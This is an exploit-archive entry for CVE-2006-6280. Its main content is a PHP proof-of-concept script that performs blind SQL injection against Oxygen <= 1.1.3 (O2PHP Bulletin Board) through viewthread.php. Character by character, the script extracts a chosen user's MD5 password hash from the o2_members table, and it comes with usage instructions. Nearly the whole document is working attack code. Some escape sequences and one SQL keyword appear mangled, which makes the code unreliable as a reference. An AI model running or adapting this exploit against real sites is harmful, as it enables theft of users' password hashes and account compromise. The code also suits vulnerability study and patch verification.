Topic:	Oxygen <= 1.1.3 (O2PHP Bulletin Board) SQL Injection
Credit:	DarkFig
Date:	2006.12.06
CWE:	CWE-89 (Show similar)
CVE:	CVE-2006-6280 (Show details) Use CVE to see details like: - CVSS2, - Affected Software, - References

#!/usr/bin/php
<?

if($argc<4){
print("
-------------------------------------------------------
Affected.scr..: Oxygen <= 1.1.3 (O2PHP Bulletin Board)
Poc.ID........: 14061118
Type..........: SQL Injection
Risk.level....: Medium
Conditions....: register_globals = on
Src.download..: download.o2php.com
Poc.link......: acid-root.new.fr/poc/14061118.txt
Credits.......: DarkFig
Note..........: FOR EDUCATIONAL PURPOSE ONLY
-------------------------------------------------------
Usage.........: php 14061118.txt <host> <path> <userid>
-------------------------------------------------------n");
exit(1);
}

print "n Please be patient (max=736 hits)...n MD5: ";
$host = !preg_match("/^http://(S*)/",$argv[1],$hwttp) ? $argv[1] : $hwttp[1];
$path = $argv[2];
$usid = intval($argv[3]);
$tabl = "o2_members";

for($x=1; $x<=32; $x++) {
for($y=48; $y<=71; $y++) {

$recv = '';
$sqli = "%20UNION%20SELECT%201,1%20FROM%20".$tabl."%20WHERE%20uid=".$usid."%20AN
D%20substr(password,".$x.",1)=char(".$y.")%23";
$data = "GET ".$path."viewthread.php?tid=1&pid=-1".$sqli." HTTP/1.1 rn";
$data .= "Host: $hostrn";
$data .= "Connection: Closernrn";

if(!$sock = @fsockopen($host, 80)) die("Connection problemn");
fputs($sock, $data);

while(!feof($sock)) $recv .= fgets($sock);
fclose($sock);

if(preg_match("/Location: viewthread.php/", $recv)) {
print strtolower(chr($y));
break;
} elseif($y == 71) {
print "Not vulnerablen";
exit(1);

}}}

print "n";
exit(0);

?>